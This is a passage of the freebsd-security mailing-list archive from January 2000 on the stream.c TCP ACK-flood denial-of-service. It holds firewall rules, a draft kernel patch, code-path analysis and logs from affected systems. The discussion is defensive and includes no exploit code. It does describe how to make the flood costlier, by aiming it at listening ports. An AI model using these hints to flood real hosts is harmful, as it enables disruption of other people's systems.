hub.freebsd.org (Postfix, from userid 758) id 8825314E3C; Thu, 20 Jan 2000 22:29:13 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 7E62B1CD5E0; Thu, 20 Jan 2000 22:29:13 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 20 Jan 2000 22:29:13 -0800 (PST) From: Kris Kennaway To: Mikhail Teterin Cc: freebsd-security@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001210531.AAA26807@rtfm.newton> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 21 Jan 2000, Mikhail Teterin wrote: > Can a similar rule be created for ipfw? Thanks! No, because ipfw doesn't keep connection state :( This is one of the big advantages of ipfilter over ipfw. People had talked about adding the ability, but nothing has come of it yet. Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 20 22:43:16 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 98DA514D46 for ; Thu, 20 Jan 2000 22:42:53 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA82475; Thu, 20 Jan 2000 23:42:50 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA09108; Thu, 20 Jan 2000 23:42:49 -0700 (MST) Message-Id: <200001210642.XAA09108@harmony.village.org> To: Darren Reed Subject: Re: stream.c worst-case kernel paths Cc: brett@lariat.org (Brett Glass), security@FreeBSD.ORG In-reply-to: Your message of "Fri, 21 Jan 2000 15:17:34 +1100." <200001210417.PAA24853@cairo.anu.edu.au> References: <200001210417.PAA24853@cairo.anu.edu.au> Date: Thu, 20 Jan 2000 23:42:49 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001210417.PAA24853@cairo.anu.edu.au> Darren Reed writes: : > Normally, we'll wind up at the label "dropwithreset", which means we'll : > send back a RST. This suggests that restricting RSTs will help with the : > DoS. (Does anyone know if not sending an RST violates any RFCs if there : > was never a connection?) : : Yes. RFC 793, figure 11, page 35, describes the prescribed behaviour. You are allowed to drop the RST in high load situations, are you not? The remote end must be robust enough to deal with that and retransmit. A simpleminded solution would be to randomly drop RSTs when under attack, since that would statitically result in bad conncetions being disconnected in a reasonable amount of time, but still save resources... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 0: 7:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id A08CB153EF for ; Fri, 21 Jan 2000 00:07:14 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id AAA28061; Fri, 21 Jan 2000 00:30:45 -0800 (PST) Date: Fri, 21 Jan 2000 00:30:45 -0800 From: Alfred Perlstein To: Brett Glass Cc: Matthew Dillon , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121003045.H14030@fw.wintelcom.net> References: <4.2.2.20000120182425.01886ec0@localhost> <20000120195257.G14030@fw.wintelcom.net> <4.2.2.20000120220649.018faa80@localhost> <200001210521.VAA56412@apollo.backplane.com> <4.2.2.20000120222630.01919150@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.2.2.20000120222630.01919150@localhost>; from brett@lariat.org on Thu, Jan 20, 2000 at 10:30:37PM -0700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Brett Glass [000120 21:54] wrote: > At 10:21 PM 1/20/2000 , Matthew Dillon wrote: > > > I think it's a bad idea to make anything that breaks the protocol > > standard the default. > > I see your point. But isn't it really the protocol standard that's > broken? It might be worthwhile to set a de facto standard as part > of the process of moving for change in the formal one. (Extensions and > changes to IETF standards frequently happen this way.) If people at > the IETF meetings say, "FreeBSD now handles this situation this way, and > it's MUCH more robust," it'll be a strong selling point in favor of > a follow-on RFC. This has worked for e-mail standards, which Heaven > knows are STILL in need of enhancement. There's no reason to break the protocol when a simple bandwidth limiting solution will suffice: "Ok, i'll follow the spec as long as it looks like i'm not under attack." seems more reasonable than totally breaking the spec for normal day to day operation. -- -Alfred Perlstein - [bright@wintelcom.net|alfred@freebsd.org] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 0:28:13 2000 Delivered-To: freebsd-security@freebsd.org Received: from clapton.atgsystems.com (clapton.atgsystems.com [207.122.162.32]) by hub.freebsd.org (Postfix) with ESMTP id 7833415198 for ; Fri, 21 Jan 2000 00:28:11 -0800 (PST) (envelope-from bobm@atgsystems.com) Received: from madman (root@joplin.atgsystems.com [207.122.162.33]) by clapton.atgsystems.com (8.8.8/8.8.8) with SMTP id CAA07010 for ; Fri, 21 Jan 2000 02:26:26 -0600 (CST) (envelope-from bobm@atgsystems.com) Message-ID: <000101bf63e9$76352f30$01000000@madman> From: "Bob Madden" To: "FreeBSD-Security" Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Date: Fri, 21 Jan 2000 02:28:10 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3612.1700 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm grateful for the efforts put forth in finding a reliable means of prevention to this attack. I have seen it's effects. For the benefit of those working on the solution, I wanted to share what I see when the attack is in full swing: Running FreeBSD 3.4-STABLE using ipfw the kernel was compiled with: maxusers 390 options NMBCLUSTERS=10000 options NBUF=8192 Here is the log output: Jan 19 22:27:05 Irc /kernel: icmp-response bandwidth limit 10342/100 pps Jan 19 22:27:06 Irc /kernel: icmp-response bandwidth limit 9762/100 pps Jan 19 22:27:07 Irc /kernel: icmp-response bandwidth limit 10990/100 pps Jan 19 22:27:08 Irc /kernel: icmp-response bandwidth limit 10053/100 pps Jan 19 22:27:09 Irc /kernel: icmp-response bandwidth limit 10748/100 pps Jan 19 22:27:11 Irc /kernel: icmp-response bandwidth limit 11634/100 pps Jan 19 22:27:12 Irc /kernel: icmp-response bandwidth limit 10811/100 pps Jan 19 22:27:13 Irc /kernel: icmp-response bandwidth limit 10972/100 pps Jan 19 22:27:14 Irc /kernel: icmp-response bandwidth limit 10325/100 pps Jan 19 22:27:15 Irc /kernel: icmp-response bandwidth limit 10538/100 pps Jan 19 22:27:16 Irc /kernel: icmp-response bandwidth limit 11204/100 pps Jan 19 22:27:17 Irc /kernel: icmp-response bandwidth limit 10350/100 pps Jan 19 22:27:17 Irc /kernel: Out of mbuf clusters - adjust NMBCLUSTERS or increa se maxusers! BANG!!! Reboot! If you need more specifics, you can email me directly. Bob Madden >,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,< --This Message Composed By: Bob Madden -- bobm@ATGSYSTEMS.COM Sys Admin /Network Engineer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 0:49: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from public.bta.net.cn (public.bta.net.cn [202.96.0.97]) by hub.freebsd.org (Postfix) with ESMTP id 6CFD9153EF for ; Fri, 21 Jan 2000 00:49:01 -0800 (PST) (envelope-from robinson@netrinsics.com) Received: from netrinsics.com (gj-06-112.bta.net.cn [202.106.6.112]) by public.bta.net.cn (8.9.3/8.9.3) with ESMTP id QAA28105 for ; Fri, 21 Jan 2000 16:48:45 +0800 (CST) Received: (from robinson@localhost) by netrinsics.com (8.9.3/8.9.3) id QAA01513; Fri, 21 Jan 2000 16:49:28 +0800 (+0800) (envelope-from robinson) Date: Fri, 21 Jan 2000 16:49:28 +0800 (+0800) From: Michael Robinson Message-Id: <200001210849.QAA01513@netrinsics.com> To: freebsd-security@freebsd.org Subject: stream.c workaround clarification Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been using an ipfilter rule-list that includes the following two rules: pass in log quick proto tcp from any to any flags S/SA pass in quick proto tcp from any to any keep state (I log connections to TCP ports that aren't "exempted" higher up in the rules.) From the discussion it seems to me that this should have an equivalent protective effect as the official-sanctioned workaround, but I'd like to verify this to be true. Thanks. -Michael Robinson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 1:31:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from smtp01.wxs.nl (smtp01.wxs.nl [195.121.6.61]) by hub.freebsd.org (Postfix) with ESMTP id 5069714F07 for ; Fri, 21 Jan 2000 01:31:18 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from daemon.ninth-circle.org ([195.121.196.86]) by smtp01.wxs.nl (Netscape Messaging Server 3.61) with ESMTP id AAA6505; Fri, 21 Jan 2000 10:31:15 +0100 Received: (from asmodai@localhost) by daemon.ninth-circle.org (8.9.3/8.9.3) id KAA06539; Fri, 21 Jan 2000 10:29:09 +0100 (CET) (envelope-from asmodai) Date: Fri, 21 Jan 2000 10:29:08 +0100 From: Jeroen Ruigrok/Asmodai To: Brett Glass Cc: Darren Reed , security@FreeBSD.ORG Subject: Re: stream.c worst-case kernel paths Message-ID: <20000121102908.A4494@daemon.ninth-circle.org> References: <4.2.2.20000120182425.01886ec0@localhost> <200001210417.PAA24853@cairo.anu.edu.au> <4.2.2.20000120212336.01882220@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <4.2.2.20000120212336.01882220@localhost>; from brett@lariat.org on Thu, Jan 20, 2000 at 09:27:16PM -0700 Organisation: Ninth-Circle Enterprises Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -On [20000121 08:01], Brett Glass (brett@lariat.org) wrote: >At 09:17 PM 1/20/2000 , Darren Reed wrote: > >>Also, what about the simultaneous connection problem ? (both ends send >>SYN's to the other, same ports). > >The odds of the source ports being the same are minuscule. Wouldn't this >prevent a problem? Or am I misunderstanding the implications here? Stevens' TCPv1, Chapter 18.8. Although I am not sure about the implications of the exact same numbered source ports. If that is what Darren is saying. Could also be the same destination ports. -- Jeroen Ruigrok vd W/Asmodai asmodai@[wxs.nl|bart.nl|freebsd.org] Documentation nutter/B-rated Coder BSD: Technical excellence at its best The BSD Programmer's Documentation Project Ain't gonna spend the rest of my Life, quietly fading away... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 1:48:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from oskar.dev.nanoteq.co.za (oskar.dev.nanoteq.co.za [196.7.114.5]) by hub.freebsd.org (Postfix) with ESMTP id F13FD15473 for ; Fri, 21 Jan 2000 01:48:03 -0800 (PST) (envelope-from rbezuide@oskar.dev.nanoteq.co.za) Received: (from rbezuide@localhost) by oskar.dev.nanoteq.co.za (8.9.3/8.9.0) id LAA15150; Fri, 21 Jan 2000 11:46:53 +0200 (SAT) From: Reinier Bezuidenhout Message-Id: <200001210946.LAA15150@oskar.dev.nanoteq.co.za> Subject: Re: stream.c workaround clarification In-Reply-To: <200001210849.QAA01513@netrinsics.com> from Michael Robinson at "Jan 21, 2000 4:49:28 pm" To: robinson@netrinsics.com (Michael Robinson) Date: Fri, 21 Jan 2000 11:46:53 +0200 (SAT) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi .. Is there any similar rules in IPFW that simulates this ?? Reinier > I've been using an ipfilter rule-list that includes the following two rules: > > pass in log quick proto tcp from any to any flags S/SA > pass in quick proto tcp from any to any keep state > > (I log connections to TCP ports that aren't "exempted" higher up in the rules.) > > >From the discussion it seems to me that this should have an equivalent > protective effect as the official-sanctioned workaround, but I'd like to > verify this to be true. > > Thanks. > > -Michael Robinson > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 3:20: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns1.via-net-works.net.ar (ns1.via-net-works.net.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id 67D4815458 for ; Fri, 21 Jan 2000 03:19:57 -0800 (PST) (envelope-from fpscha@ns1.via-net-works.net.ar) Received: (from fpscha@localhost) by ns1.via-net-works.net.ar (8.9.3/8.9.3) id IAA15446; Fri, 21 Jan 2000 08:20:11 -0300 (GMT) From: Fernando Schapachnik Message-Id: <200001211120.IAA15446@ns1.via-net-works.net.ar> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <000101bf63e9$76352f30$01000000@madman> from Bob Madden at "Jan 21, 0 02:28:10 am" To: bobm@atgsystems.com (Bob Madden) Date: Fri, 21 Jan 2000 08:20:10 -0300 (GMT) Cc: freebsd-security@FreeBSD.ORG Reply-To: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Has anyone tried stream.c against CISCO, Nortel, etc. routers? Althoug off-topic, their (unofficial) vulnerability status would be very helpfull? TIA! En un mensaje anterior, Bob Madden escribió: > I'm grateful for the efforts put forth in finding a reliable means of > prevention to this attack. I have seen it's effects. For the benefit of those > working on the solution, I wanted to share what I see when the attack is in > full swing: Fernando P. Schapachnik Administración de la red VIA NET.WORKS ARGENTINA S.A. fernando@via-net-works.net.ar (54-11) 4323-3333 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 3:22:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 8985814C43 for ; Fri, 21 Jan 2000 03:22:30 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 95731 invoked from network); 21 Jan 2000 06:24:44 -0000 Received: from missnglnk.wants.to-fuck.com (HELO hydrant.intranova.net) (user79699@209.201.95.10) by blacklisted.intranova.net with SMTP; 21 Jan 2000 06:24:44 -0000 Date: Fri, 21 Jan 2000 06:21:15 -0500 (EST) From: Omachonu Ogali To: jamiE rishaw - master e*tard Cc: Tom , Mike Tancsa , freebsd-security@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <20000120130945.B24082@x.arpa.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Could you give us a snippet of the syslog output from the FreeBSD machine? P.S> Stop replying to 3 different lists, its starting to get annoying. Omachonu Ogali Intranova Networking Group On Thu, 20 Jan 2000, jamiE rishaw - master e*tard wrote: > I have a copy of this, which I am not giving out. I will probably > fire one off to jkh for sanity, but this looks like a really tough one > to handle. > > The program basically fires off *loads* of pkts/sec of ACK at the victim > host.. random source, blah blah. > > The problem is, the kernel already (from my understanding) drops bad ACKs > pretty quickly. The thing is, tho, that it's kernel bound.. which means > CPU.. so unless you have tons of extra CPU to spare, this attack will > take your system to a "pause" until the attacker ceases. > > The only way to trace this attack is same as a SYN or smurf attack: to > reverse flow "trace", which requires experienced backbone engineers and > cooperation of sometimes multiple providers. > > I duno. We'll see. > > -jamie > > On Thu, Jan 20, 2000 at 12:34:45PM -0800, Tom wrote: > > > > On Thu, 20 Jan 2000, Mike Tancsa wrote: > > > > > Can anyone confirm the bugtraq posting ? Are the freebsd folks working on > > > a fix ? If so, what versions are effected ? > > > > > > ---Mike > > > > > > >The only log that he could provide was this one: > > > > > > > >---snip--- > > > > > > > >syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > > > > > > >---snip--- > > > > > > > >One thing of note: he also stated this happened on non-freebsd systems, > > > >which is contrary to what the other person said, who was "under the > > > >impression it was freebsd specific." > > > > > > > >I have the source, which I'm not going to post for 2-3 days (give time for > > > >fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > > > > > Uhh.. there isn't enough information here to determine anything. > > > > > > > ------------------------------------------------------------------------ > > > Mike Tancsa, tel +1 519 651 3400 > > > Network Administrator, mike@sentex.net > > > Sentex Communications www.sentex.net > > > Cambridge, Ontario Canada > > > > > > Tom > > Uniserve > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > -- > i am jamie at arpa dot com this is a no plur zone. > > "silly raver, k is for cats!" > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 3:45:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 146A214D63 for ; Fri, 21 Jan 2000 03:45:09 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 619 invoked from network); 21 Jan 2000 06:47:23 -0000 Received: from missnglnk.wants.to-fuck.com (HELO hydrant.intranova.net) (user28815@209.201.95.10) by blacklisted.intranova.net with SMTP; 21 Jan 2000 06:47:23 -0000 Date: Fri, 21 Jan 2000 06:43:54 -0500 (EST) From: Omachonu Ogali To: Brett Glass Cc: security@freebsd.org Subject: Re: stream.c worst-case kernel paths In-Reply-To: <4.2.2.20000120182425.01886ec0@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Would this work: -- start -- --- tcp_input.c Tue Apr 20 15:09:15 1999 +++ tcp_input.c.new Fri Jan 21 06:30:13 2000 @@ -398,7 +398,27 @@ "Connection attempt to TCP %s:%d from %s:%d\n", buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), ntohs(ti->ti_sport)); + } else if (tiflags & TH_ACK) { + /* + * Alpha code in response to stream.c + * - Omachonu Ogali + */ + + char buf[4*sizeof "123"]; + + strcpy(buf, inet_ntoa(ti->ti_dst)); + log(LOG_INFO, + "received TCP/ACK to non existant connection: %s:%d -> %s:%d\n", + inet_ntoa(ti->ti_src), ntohs(ti->ti_sport), buf, ntohs(ti->ti_dport)); + + /* + * Drop without reset to prevent smurf-like tcp + * attack + */ + + goto drop; } + #ifdef ICMP_BANDLIM if (badport_bandlim(1) < 0) goto drop; -- stop -- Omachonu Ogali Intranova Networking Group On Thu, 20 Jan 2000, Brett Glass wrote: > I've been browsing the code, and have seen two possible places where > the code might be improved to lessen the impact of this DoS. Folks > who know the stack better may know about details and side effects > that I don't, so so if my analysis has holes in it please don't chew > me out TOO badly. > > From /sys/netinet/tcp_input.c: > > The kernel seeks a socket that matches the packet. It fails, of course, > to find an open socket. > > inp = in_pcblookup_hash(&tcbinfo, ti->ti_src, ti->ti_sport, > ti->ti_dst, ti->ti_dport, 1); > > If the system isn't listening on the port, inp is set to NULL. But inside > in_pcblookup_hash, we've had to do two hash table lookups, because > the "wildcard" flag is set to 1. (Suggested improvement: turn off the > wildcard search if the packet is not a SYN. I suppose that if the > packet IS a SYN, we still have to test to see if it was erroneously > sent in the middle of a connection, so we really have to do both tests > in that case. See in_pcb.c.) > > Back to tcp_input.c. We then execute the following: > > if (inp == NULL) { > if (log_in_vain && tiflags & TH_SYN) { > char buf[4*sizeof "123"]; > > strcpy(buf, inet_ntoa(ti->ti_dst)); > log(LOG_INFO, > "Connection attempt to TCP %s:%d from %s:%d\n", > buf, ntohs(ti->ti_dport), inet_ntoa(ti->ti_src), > ntohs(ti->ti_sport)); > } > } > #ifdef ICMP_BANDLIM > if (badport_bandlim(1) < 0) > goto drop; > #endif > goto dropwithreset; > } > > Normally, we'll wind up at the label "dropwithreset", which means we'll send back a RST. > This suggests that restricting RSTs will help with the DoS. (Does anyone know if > not sending an RST violates any RFCs if there was never a connection?) > > Trouble is, a smart attacker will fire the barrage at a port on which the machine is > listening. This makes the code path longer because the hash table lookup will succeed. > We execute: > > tp = intotcpcb(inp); > if (tp == 0) > goto dropwithreset; > if (tp->t_state == TCPS_CLOSED) > goto drop; > > /* Unscale the window into a 32-bit value. */ > if ((tiflags & TH_SYN) == 0) > tiwin = ti->ti_win << tp->snd_scale; > else > tiwin = ti->ti_win; > > so = inp->inp_socket; > if (so->so_options & (SO_DEBUG|SO_ACCEPTCONN)) { > #ifdef TCPDEBUG > if (so->so_options & SO_DEBUG) { > ostate = tp->t_state; > tcp_saveti = *ti; > } > #endif > if (so->so_options & SO_ACCEPTCONN) { > register struct tcpcb *tp0 = tp; > struct socket *so2; > if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { > /* > * Note: dropwithreset makes sure we don't > * send a RST in response to a RST. > */ > if (tiflags & TH_ACK) { > tcpstat.tcps_badsyn++; > goto dropwithreset; > } > goto drop; > > At which point the packet is dropped, since tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN > (that is, it's not a SYN). But we've had to attempt two hash table lookups (we could have done > only one if we'd tested for a SYN) and send the RST unless we've disabled it. Worse still, if > we send the RSTs, we may have to handle an ICMP "unreachable" message from the router if the > source address is spoofed. > > So, the two obvious optimizations are to add a test for SYNs prior to the hash table lookup and > not to send a RST back. > > --Brett > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 4:29:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from adm.sci-nnov.ru (adm.sci-nnov.ru [195.122.226.2]) by hub.freebsd.org (Postfix) with ESMTP id DF01515458 for ; Fri, 21 Jan 2000 04:29:28 -0800 (PST) (envelope-from vlad@sandy.ru) Received: from anonymous.sandy.ru (anonymous.sandy.ru [195.122.226.40]) by adm.sci-nnov.ru (8.9.3/Dmiter-4.1) with ESMTP id PAA03602; Fri, 21 Jan 2000 15:26:05 +0300 (MSK) Date: Fri, 21 Jan 2000 15:26:08 +0300 From: Vladimir Dubrovin X-Mailer: The Bat! (v1.36) S/N D33CD428 Reply-To: Vladimir Dubrovin Organization: Sandy Info X-Priority: 3 (Normal) Message-ID: <12643.000121@sandy.ru> To: Dima Ruban Cc: freebsd-security@FreeBSD.ORG Subject: Re[2]: bugtraq posts: stream.c - new FreeBSD exploit? In-reply-To: <200001210043.QAA57553@sivka.rdy.com> References: <200001210043.QAA57553@sivka.rdy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello Dima Ruban, 21.01.2000 3:43, you wrote: bugtraq posts: stream.c - new FreeBSD exploit?; >> I can think of ways to filter this by adding some stuff to IPFW. D> I don't believe you can filter it. Sure you cann't detect invalid ACK packets with ipfw, but IMHO ipfw (then dummynet is used) can be used to eliminate any kind of flood attack with amount of small packets. Rules like ipfw pipe 10 config delay 50 queue 5 packets ipfw add pipe 10 tcp from any to MYHOST in via EXTERNAL should limit ipfw to allow only 5 tcp packets in 50 ms for MYHOST, more packets will be dropped. But I don't think it's best solution. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 4:32:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from smtp05.wxs.nl (smtp05.wxs.nl [195.121.6.57]) by hub.freebsd.org (Postfix) with ESMTP id 8B8DE151FF for ; Fri, 21 Jan 2000 04:32:22 -0800 (PST) (envelope-from asmodai@wxs.nl) Received: from daemon.ninth-circle.org ([195.121.196.111]) by smtp05.wxs.nl (Netscape Messaging Server 4.05) with ESMTP id FOOQTX00.U3H; Fri, 21 Jan 2000 13:32:21 +0100 Received: (from asmodai@localhost) by daemon.ninth-circle.org (8.9.3/8.9.3) id NAA07200; Fri, 21 Jan 2000 13:32:17 +0100 (CET) (envelope-from asmodai) Date: Fri, 21 Jan 2000 13:32:16 +0100 From: Jeroen Ruigrok/Asmodai To: Omachonu Ogali Cc: jamiE rishaw - master e*tard , Tom , Mike Tancsa , freebsd-security@freebsd.org Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? Message-ID: <20000121133216.D6965@daemon.ninth-circle.org> References: <20000120130945.B24082@x.arpa.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from oogali@intranova.net on Fri, Jan 21, 2000 at 06:21:15AM -0500 Organisation: Ninth-Circle Enterprises Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org -On [20000121 13:21], Omachonu Ogali (oogali@intranova.net) wrote: >Could you give us a snippet of the syslog output from the FreeBSD machine? I tested it on two CURRENT boxes. No panics, no crash, nothing in the syslog, just weird packets over the wire. I could still type through my ssh connections, use top. Albeit a bit more slowly. Could be that the 10 MB segment (connecting the machines in that segment with a hub) could saturated too much. Also, when running stream I got these from the program: jess: No buffer space available jess: No buffer space available jess: No buffer space available jess: No buffer space available Which seems that there's some throttling going on due to no buffers being free. Also netstat -m on both boxes isn't scary to behold and the nbmclusters are in the range of 1500. Just some observations, -- Jeroen Ruigrok vd W/Asmodai asmodai@[wxs.nl|bart.nl|freebsd.org] Documentation nutter/B-rated Coder BSD: Technical excellence at its best The BSD Programmer's Documentation Project Ain't gonna spend the rest of my Life, quietly fading away... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 5:45: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from ns1.via-net-works.net.ar (ns1.via-net-works.net.ar [200.10.100.10]) by hub.freebsd.org (Postfix) with ESMTP id 4E56C14E82 for ; Fri, 21 Jan 2000 05:45:03 -0800 (PST) (envelope-from fpscha@ns1.via-net-works.net.ar) Received: (from fpscha@localhost) by ns1.via-net-works.net.ar (8.9.3/8.9.3) id KAA01087; Fri, 21 Jan 2000 10:44:33 -0300 (GMT) From: Fernando Schapachnik Message-Id: <200001211344.KAA01087@ns1.via-net-works.net.ar> Subject: Re: bugtraq posts: stream.c - new FreeBSD exploit? In-Reply-To: <200001210421.PAA25285@cairo.anu.edu.au> from Darren Reed at "Jan 21, 0 03:21:35 pm" To: avalon@coombs.anu.edu.au (Darren Reed) Date: Fri, 21 Jan 2000 10:44:33 -0300 (GMT) Cc: freebsd-security@freebsd.org Reply-To: Fernando Schapachnik X-Mailer: ELM [version 2.4ME+ PL40 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org En un mensaje anterior, Darren Reed escribió: > btw, I think the better way to write the 3 rules is: > > block in quick proto tcp from any to any head 100 > pass in quick proto tcp from any to any flags S keep state group 100 > pass in all I usually work with ipfw, so I'm a newbie with ipfilter. I loaded a 3.3-R with an ipfilter enabled kernel. Then ipf -l block -f /file_with_rules Suprisingly: ipmon 21/01/2000 10:34:29.091976 ed0 @0:1 b server,22 -> mi_ip,1015 PR tcp len 20 60 -AP 21/01/2000 10:34:29.092047 ed0 @0:1 b server,22 -> mi_ip,1015 PR tcp len 20 40 -A This is from a established ssh session, of course. Every TCP conection to the machine renders impossible. I'm I doing something wrong? Fernando P. Schapachnik Administración de la red VIA NET.WORKS ARGENTINA S.A. fernando@via-net-works.net.ar (54-11) 4323-3333 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Fri Jan 21 6: 8:51 2000 Delivered-To: freebsd-security@freebsd.org Received: from cairo.anu.edu.au (cairo.anu.edu.au [150.203.224.11]) by hub.freebsd.org (Postfix) with ESMTP id 652D4152EF for ; Fri, 21 Jan 2000 06:08:45 -0800 (PST) (envelope-from avalon@cairo.anu.edu.au) Received: (from avalon@localhost) by cairo.anu.edu.au (8.9.3/8.9.3) id BAA12379; Sat, 22 Jan 2000 01:08:45 +1100 